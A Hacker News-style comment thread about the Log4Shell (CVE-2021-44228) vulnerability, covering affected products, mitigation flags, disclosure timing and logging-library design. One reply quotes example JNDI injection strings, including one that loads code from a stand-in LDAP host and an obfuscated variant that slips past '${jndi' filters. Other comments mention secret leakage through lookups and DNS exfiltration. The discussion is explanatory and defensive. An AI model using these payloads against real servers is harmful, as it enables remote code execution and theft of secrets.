15 ms·

Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

• vzaliva 5y ago
  I read the bug summary and I understand how one can trigger arbitrary JNDI lookups via Log4J. How this could lead to remote code execution?
• jbverschoor 5y ago
  What about desktop application vulnerabilities? There are quite a few applications built with java, which include log4j.
  • lostmsu 5y ago
    JetBrains IDEs are probably affected.
    • stuff4ben 5y ago
      Why would you even call that out when you don't know? Just because it uses Java does NOT mean it uses log4j. None of Jetbrains IDEs are affected btw.
      • formerly_proven 5y ago
        They contain (among many other things) a log4j copy with the vulnerability, so saying they might be affected isn't unreasonable.
        • maccard 5y ago
          No, it is unreasonable. It's baseless speculation, which is easily disproven [0] [0] https://intellij-support.jetbrains.com/hc/en-us/community/posts/4412295099026 https://intellij-support.jetbrains.com/hc/en-us/community/po...
  • wingmanjd 5y ago
    Graylog was affected. Patched soon after the notice went public and not even a handful of hours later I saw some hits on the public web docker runner. Feel like we just barely dodged this one.
  • srcreigh 5y ago
    They are listed. Biggest one is probably the Minecraft client > Minecraft users were using it to execute programs on the computers of other users by pasting a short message in a chat box. https://www.ctvnews.ca/sci-tech/the-internet-s-on-fire-as-techs-race-to-fix-software-flaw-1.5703123 https://www.ctvnews.ca/sci-tech/the-internet-s-on-fire-as-te... Last night, we kept getting disconnected from HyPixel on Minecraft 18.1 client. I wonder if they check for the vulnerability and boots people? Although 18.1 should be fixed. When we added the log4j JVM flag mitigation, we stopped getting booted.
• jcadam 5y ago
  Generally, when the boss asks you which logging library your Javaland project uses, the answer is "all of them."
  • Macha 5y ago
    Discovered one legacy project which did jboss logging -> log4j-over-slf4j -> slf4j -> logback For what the project used it for, jboss logging could have been replaced with direct slf4j usage, and even if it hadn't, supports slf4j directly so that was a headscratcher
    • meepmorp 5y ago
      I love this kind of can-kicking technical debt. Why refactor the logging when you can just throw more into the mix?
    • layer8 5y ago
      At least it avoided the current vulnerability that way. :)
• winternett 5y ago
  Clone Git Repo... CTRL+F "log4j"... 0 results... (sigh of relief)... :|
  • benburleson 5y ago
    "A project with a footprint like Log4j is not possible to avoid as a transient dependency even if you don’t directly import it. Log4j is a canonical logging utility for a huge ecosystem. Its current radius is beyond doing due diligence." - @rakyll (AWS)
    • winternett 5y ago
      I understand... The main point I'm addressing is whether an immediate A.O.R. will be in the line of "blowback", "compromise", and/or "fallout" with that statement. It's fun to stay at the C.Y.A. :P
    • mateuszf 5y ago
      Yeah - for example to determine if log4j is used in a maven project one would have to run "mvn dependency:tree | grep log4j". Which I did today for our 60 microservices. And also for projects deployed as war files - container server libraries also have to be checked.
      • blibble 5y ago
        you better hope one of your dependencies hasn't vendored it!
        • winternett 5y ago
          The key for me is to have a solid backup/disaster recovery plan in place and to first assess what rollback would entail and to verify that backup data is not corrupted. Rollback is more of a final (nuclear) option, but I always need to verify that it is an option... Data loss from rollback is far better than total corruption (if it ever gets to that point, God forbid). It also depends greatly on the availability needs for a system of course, but everyone has to be reasonable over things they can't pre-conceive or control in these types of situations because there's no way anything can operate flawlessly and without failure. 1. The Titanic 2. The Hindenburg 3. The AWS-East Service Outage This Month :\
• ronnier 5y ago
  Are there any notable systems exploited by this besides minecraft?
  • klysm 5y ago
    Unifi systems is a pretty bad one
    • artificialLimbs 5y ago
      UBNT says the Unifi Network app is unaffected, but they are patching "out of an abundance of caution"... whatever that means.
  • eganist 5y ago
    you could probably fire a bullet in any direction and hit a company with hundreds of apps or appliances affected. I recognize this probably isn't helpful on its face, but the best way to think of it is: if it's a Java app (or heck even possibly just an app running on the JVM) that uses the most recent major version (2.x before 2.15.0, the patch) of the most common logging logic, it's affected. And that list in the enterprise space gets exceptionally long. Maybe not so much on client machines, but servers/etc absolutely. Even companies not known for using Java for their own apps are probably relying on appliances or systems which run their own vulnerable Java apps.
    • tyingq 5y ago
      There's also a tendency for a lot of Cybersecurity type software to use java and log4j. Things like SAML, SSO, code scanning, etc. I'm fighting a bit of schadenfreude watching all of those vendors furiously trying to get their stories together.
  • tyingq 5y ago
    Many, many of them. See the gist posted in another comment: https://news.ycombinator.com/item?id=29543439 https://news.ycombinator.com/item?id=29543439 Though even that long list is missing many. I have lots of emails in my inbox from various software vendors that are NOT listed in that Gist. It's probably easier to compile a list of software you use that uses java, then the short of those projects that DON'T use log4j.
• deleted 5y ago
  [deleted]
• ThinkBeat 5y ago
  Ideally, log4j should not have the ability to make "outgoing calls" right? It has been years since I used it but I can't remember a valid reason why it should be allowed to do so. Since it is running inside the stack it may not be easy to enforce it. If the "client" log4j does it before even logging that is a bother. It seems like having a "central" "syslog" logging server. Traffic goes from the stack -> logging server. Logging server not allowed to call anyone external.
  • bob1029 5y ago
    > Ideally, log4j should not have the ability to make "outgoing calls" right? What is the intended scope of log4j? I spent some time looking over the source code and cannot fathom why something that logs information would need to become this complicated.
    • throwaway894345 5y ago
      Welcome to the Java ecosystem. Please enjoy your stay.
    • mjr00 5y ago
      > I spent some time looking over the source code and cannot fathom why something that logs information would need to become this complicated. That's easy: because software development is complicated. If you look at the ticket where this was added[1], it seems like a reasonable request for something a very featureful logging library might do. Other logging frameworks[2] already supported this feature. It's easy to armchair quarterback and say the feature shouldn't have been added, but the reality is an old project like this that's used by many large enterprises with specific requirements is going to naturally bloat as it ages. Anyone who's been in software dev long enough has experienced this. You build a super-simple internal tool or library that does solves a specific problem you have. It starts getting used. Then you get a feature request from Department A to do something slightly different. Department B says you need to integrate the tool with their new CRM platform. The security team gets involved and says you need to integrate auditing of your tool's usage into their metrics. etc... For Apache/log4j, it's not just multiple departments, but a wide array of companies across the entire world. It's very easy to explain feature bloat. [1] https://issues.apache.org/jira/browse/LOG4J2-313 https://issues.apache.org/jira/browse/LOG4J2-313 [2] http://logback.qos.ch/manual/contextSelector.html http://logback.qos.ch/manual/contextSelector.html
• imwillofficial 5y ago
  Excellent writeup. Short, concise, and clear.
• layer8 5y ago
  > A project with a footprint like Log4j is not possible to avoid as a transient dependency even if you don’t directly import it. But it’s often still possible to use a different backend, via the Log4j to SLF4J adapter: https://logging.apache.org/log4j/2.x/log4j-to-slf4j/ https://logging.apache.org/log4j/2.x/log4j-to-slf4j/
  • shartte 5y ago
    I believe this is the default in Spring Boot. Logback is used by their starters (see https://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#features.logging https://docs.spring.io/spring-boot/docs/current/reference/ht...).
    • zorr 5y ago
      Yes, recent Spring-boot projects include log4j-to-slf4j, slf4j-api, logback-core and logback-classic which AFAIK are not vulnerable.
  • staticassertion 5y ago
    Does this routing happen before or after log4j would be exploitable? Like if log4j is still running its parser and doing all the crazy stuff, but then routes to some other logger, it doesn't matter.
    • layer8 5y ago
      The routing happens before. The vulnerability is due to processing in the log4j back-end, after normal message formatting.
      • staticassertion 5y ago
        Got it, thanks.
• jbverschoor 5y ago
  Wouldn't this also be mitigated by better/stricter sandboxing? (specific network access, per app firewall etc)
  • marginalia_nu 5y ago
    Doesn't provide complete mitigation unless it's completely airgapped. You can for example exfiltrate information using DNS-lookups.
• throwaway_JiY4E 5y ago
  as I understand, if we are running Java 8u121 this is not an issue... or is it? that's what the CVE (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4422...) says: > protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
  • detaro 5y ago
    As I understand it that prevents the RCE, but not other variants like leaking environment variables.
    • throwaway_JiY4E 5y ago
      > other variants like leaking environment variables. I'll google/search more about these. I assume if we say RCE is a 10 for risk, then maybe others are 5 or 3?
      • detaro 5y ago
        CORRECTION: apparently latest Java is also vulnerable: https://twitter.com/_MG_/status/1470452714203086851 https://twitter.com/_MG_/status/1470452714203086851
  • layer8 5y ago
    It’s still an issue with current JDKs in certain environments (e.g. Tomcat), see https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj... and https://www.veracode.com/blog/research/exploiting-jndi-injections-java https://www.veracode.com/blog/research/exploiting-jndi-injec.... Also, 8u121 was an incomplete fix, the complete fix (still with limitations as noted above) is in 8u191 (see second link above).
• ridaj 5y ago
  I'm curious about the disclosure of this vulnerability and why it seems that no prior notice appears to have been given by the researcher who published it. Is it because it was already being exploited in the wild?
  • alvarlagerlof 5y ago
    Me too
  • pageandrew 5y ago
    > The vulnerability was privately disclosed to Apache by Alibaba's Cloud Security Team on 24 November 2021 and publicly disclosed on 9 December 2021. https://en.wikipedia.org/wiki/Log4Shell https://en.wikipedia.org/wiki/Log4Shell
    • modoc 5y ago
      It was being exploited in the wild at least as early as Dec 1st (based on log analysis I've seen). The rate of attempted exploits went WAY up after the 9th.
    • ineedasername 5y ago
      That still seems like an extremely small window of time to remain on the good side of "responsible disclosure" for a vulnerability of this magnitude. The fix was only released 3 days before public disclosure.
      • flatiron 5y ago
        From what I read the patch is public and when someone saw it figured it out and publicly shared it.
      • staticassertion 5y ago
        Embargoing is very tricky and often harmful. Attackers know how to catch embargo'd vulns, it's often really easy, like in the case of the Linux kernel. If attackers have advanced notice you're only hurting defenders by hiding things from them. We know that two weeks before disclosure there are attacks using this exploit. Somehow had clearly figured it out, so hiding it was only going to cause problems.
• bob1029 5y ago
  I have taken some flak over the years for rolling my own basics like logging, telemetry, tracing, authentication, session management, etc... Incidents like this remind me that it is sometimes OK to ignore those who constantly order you to "vendor it out" over some notion of principled development excellence wherein one never reinvents a single hypothetical wheel. Arguably, writing text to a log file on disk is a simple thing you dont want to keep implementing over and over. But, it is also a simple thing that doesn't take a whole lot to do correctly in many use cases. DIY (in aggregate) would represent one of the largest barriers to any attacker producing a wormable/DDOS exploit of this log4j-style vulnerability. Imagine ten thousand plus unique implementations for how to get a string to disk and I can almost assure you that not one of them would contain an attack vector like this. Even if one of them did, the other 99.999% of implementations would be unaffected and nothing would have made the headlines. Depending on the code paths that others have developed is the biggest liability in all of software engineering. We are going to have to get better at evaluating this cost relative to the benefits. This doesnt stop with Log4j. There are other things more ubiquitous and more complicated out there still. IMO, the best we can do is to stop producing new software that is exposed in these ways.
  • ineedasername 5y ago
    I'm not sure that an argument from monoculture is the right way to go here. It's merely a form of security by obscurity, and probably shouldn't be the dominant factor in whether or not you take some amount of mythical man hours to roll your own code vs. adopting a piece of very well established OSS that has had countless eyes on it over the years.
  • hpoe 5y ago
    Given many of the engineers i have worked with and much more importantly the PMs and Managers that work over them, I would expect vulnerabilities like this to proliferate all over the place if people were to roll their own logging and telematry and especially authentication. I mean SQL injection is such an easy known mitigation yet is still on the OWASP top 10 even after so many years.
    • 5y ago
• deleted 5y ago
  [deleted]
• Droobfest 5y ago
  so is it: -Dlog4j.formatMsgNoLookups=true or -Dlog4j2.formatMsgNoLookups=true ? Every project seems to list one or the other, even this cheat-sheet seems to list both in a random way...
  • deleted 5y ago
    [deleted]
  • LeifCarrotson 5y ago
    Log4J version 1.x met end-of-life in 2015 [1]. Of course, that's only 6 years ago, so there are still projects out there running it. It would look for -Dlog4j.format... and would not know about -Dlog4j2.format... or, hypothetically, -Dlog4j3LTS.format... Environment variables targeting Log4J version 2.x should get the prefix "log4j2.*" [2] so the latter is correct. In the end it doesn't really matter if you declare an environment variable that's never read, so you could define both if you're not sure which version of Log4J is used in your stack. [1] https://logging.apache.org/log4j/1.2/ https://logging.apache.org/log4j/1.2/ [2] https://logging.apache.org/log4j/2.x/ https://logging.apache.org/log4j/2.x/
    • darkarmani 5y ago
      Old versions of ElasticSearch that people still use and Livy uses 1.x.
  • deleted 5y ago
    [deleted]
  • Droobfest 5y ago
    Replying to myself but I guess it's the second one. https://github.com/apache/logging-log4j2/blob/04637dd9102175f765cfad349de0c2a63c279ac3/log4j-core/src/main/java/org/apache/logging/log4j/core/util/Constants.java#L57-L68 https://github.com/apache/logging-log4j2/blob/04637dd9102175...
    • JackGreyhat 5y ago
      Confirmed. Its the "log4j2.formatMsgNoLookups" property. Source: https://logging.apache.org/log4j/2.x/security.html https://logging.apache.org/log4j/2.x/security.html
• AtNightWeCode 5y ago
  Optimizely A/B-tested it all away it seems...
• ineedasername 5y ago
  I'm not a security researcher, so I'd like to know if (probably "why") this is a bad idea: It seems like there should be some intermediary stage between logging the vulnerability & full public disclosure. Something like a partial public disclosure that says "Hey, we have a CVSS 10 about to come down on Log4j, everyone carve out a chunk of time to get their systems fixed when we publish to full disclosure & patch." And security & sysadmins around the world can get ready to work before exploits can get too much of a hold.
  • koboll 5y ago
    It's a bad idea because that would leak, and then you'd have bad actors exploiting a zero-day prior to day zero.
  • deleted 5y ago
    [deleted]
  • deleted 5y ago
    [deleted]
  • rot25 5y ago
    Vulnerability researcher here. It's really hard for vulnerabilities as simple as this one to stay under wraps. When the patch went out 9 days ago [1], many vulnerability researchers were able to look at it and identify the root cause within minutes. Exploits started going out over a week ago before the CVE was released. Good security orgs that can hire skilled vulnerability researchers started patching on December 6th/7th/8th. All the chaos started on December 9th when people started leaking the poc on twitter. The same thing happens to google chrome when they release a patch for a security vulnerability. Very skilled researchers can produce a POC and exploit given the patch alone [2] The same thing happens even with embargoes like the one you describe in place. [1] https://github.com/apache/logging-log4j2/commit/d82b47c https://github.com/apache/logging-log4j2/commit/d82b47c [2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/ https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...
  • ncc-erik 5y ago
    Not a ton of benefit here, because drawing attention without having the patch fully ready means more eyeballs looking. More eyeballs means someone inevitably finds and exploits/publishes before it can be mitigated.
• jrochkind1 5y ago
  Not a Java programmer, I still don't really understand how the ability to inject a JNDI lookup to your sever results in an RCE. OK, an attacker can inject a JNDI lookup, and can control what the JNDI lookup via LDAP returns... I would have thought that whatever it returned would just get inserted as a string into the log output, no big deal. But a remote JNDI lookup can return code that gets executed on the local site somehow? Can anyone explain this? update this is the best explanation I've found: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
  • gadnuk 5y ago
    The Behavior section in this link explains it in detail: https://en.wikipedia.org/wiki/Log4Shell https://en.wikipedia.org/wiki/Log4Shell "Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server. Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as "${jndi". Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input is not immediately logged, such as a first name, it may be later logged during internal processing and its contents executed." Log4J 1.x was deemed safe because it does not offer the lookup mechanism that Log4J2 v2.x does. It always remains a String, no matter what, unlike v2.x where you can load serialized objects via lookups. Source: https://twitter.com/ceki/status/1469449618316533762 https://twitter.com/ceki/status/1469449618316533762
    • kyrra 5y ago
      Log4j 1.x is safe from THIS exploit, but reading https://logging.apache.org/log4j/1.2/ https://logging.apache.org/log4j/1.2/, there was an exploit discovered 2 years ago that was never fixed on the official branch (https://www.cvedetails.com/cve/CVE-2019-17571/ https://www.cvedetails.com/cve/CVE-2019-17571/). There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default.
• saberdancer 5y ago
  Am I understanding this correctly. You are vulnerable if you log user input, for example especially if it is on a public facing API.
  • john37386 5y ago
    You read it right. Just a simple curl can infect your system. Your api can be behind multiple layer of security and still it will reach log4j and infect your system.
  • foobiekr 5y ago
    You should never be logging user input non-escaped anyway. At the very least, that creates a hazard where someone might be fooled as to the correct behavior/false-internal-systems-corroboration by logging something misleading that masquerades as a legitimate log message. It is a _huge_ hazard.
• john37386 5y ago
  It seems to have worm like capabilities. Right now it seems to spread. Who knows what will happen after? It's a bit of race against the clock. I found this library to be used somehow. https://github.com/projectdiscovery/interactsh https://github.com/projectdiscovery/interactsh They seem to exfiltrate data. If you see these files hosted in your projects, then you are probably part of it now.
• zdwolfe 5y ago
  This might be a stupid question, but is it possible to airgap all classes running in the JVM from the network except for those you trust? For example, I want to block all classes from opening sockets except those in my.company.domain.* packages.
  • narrator 5y ago
    Yes, it's called a firewall. Anybody developing high security applications should limit outbound connections from their production servers to what's absolutely necessary.
• phkahler 5y ago
  After reading about this Log4j thing I realize it's not a bug. The vulnerability is due to a feature being exploited by the attacker. I'm not even going to qualify that by saying "exploited in unexpected ways" because it's being used exactly as intended. It seems the people who added and use that feature never took the time to ask "how can this be used nefariously?" That's not a criticism, most developers focus on how something is going to do what they want and not really consider ways to abuse it. But this was documented and in plain sight if you think about it.
  • throw_m239339 5y ago
    > After reading about this Log4j thing I realize it's not a bug. It's an exploit and shouldn't be a "feature" at first place.
    • shoto_io 5y ago
      It does matter, because it helps to think about how to prevent these things in the future.
      • throw_m239339 5y ago
        Again, the point is, whether it is a bug or not is irrelevant. It's an exploit and should be patched. If it was deemed a "feature" then it needs to be removed. There is nothing hard to understand here.
        • shoto_io 5y ago
          I was referring to the "it doesn't matter" part of your comment, which you have now removed? Of course you're right that it doesn't matter what the underlying reason was and how it needs to be dealt with NOW.
          • throw_m239339 5y ago
            Since you focused on the wrong part of my comment I edited it yes. My previous answer makes it clear what I was talking about.
• rnikander 5y ago
  By the way, does java.util.logging still suck enough to justify the existence of all these different logging frameworks?
• crescentfresh 5y ago
  Strange the cheat-sheet does not list setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true as a mitigation, which supposedly works for log4j versions >=2.10.
• gonzo41 5y ago
  I was going to talk about software engineering being different because you have to build like you're in a nuclear war all the time. But, this sort of thing happens in other industries. Remember asbestos or leaded fuel, or CFC's. I think doing a retro on the feature and asking why a logging systems needs to have so many features may be a question worth answering. Because there's tons of dependencies I use, where I want 15 to 10% of the features and the rest is just the library developers building hyper niche use cases or avoiding other work. So I expect there's a ton of other features waiting for this kind of CVE to emerge.
  • unixbane 5y ago
    [dead]
• ineedasername 5y ago
  My workplace uses a vendor potentially impacted by ransomware as the result of log4j. When asked, the vendor-- Kronos-- did not deny it as the issue [0], and we ourselves have not received any more substantive answer. Although they may not yet know the attack vector so I wouldn't read too much into it yet. However, regardless of the Kronos cause, I will not be surprised if the next year or so brings a strong uptick in ransomware. (As a side note, this isn't a great time-- right before Christmas-- to have issues that could impact paying employees on time. Fortunately my workplace doesn't have many of our employees in in this system and Business Continuity can be achieved more easily by temporarily using plain old paper & manual processing than spending time on a temporary technical work around) https://arstechnica.com/information-technology/2021/12/as-log4shell-wreaks-havoc-payroll-service-reports-ransomware-attack/ https://arstechnica.com/information-technology/2021/12/as-lo...
• royce 5y ago
  Site author here. Thanks for helping to get the word out - every bit may help someone. While I consider my page to provide useful color, and I validate and summarize and cache info updates locally to add value ... it won't scale for long. It's really a stopgap - to buy defenders time until better efforts emerge. A few efforts likely to become higher leverage than mine, because they can be driven by pull requests: * https://github.com/NCSC-NL/log4shell https://github.com/NCSC-NL/log4shell - already quite comprehensive * Whatever CISA may spin up - https://github.com/cisagov/log4j-affected-db https://github.com/cisagov/log4j-affected-db * Kevin Beaumont (@GossiTheDog) - turns out he worked with CISA on this That being said, I'll keep working on mine as long as it still provides value; updates/corrections welcome.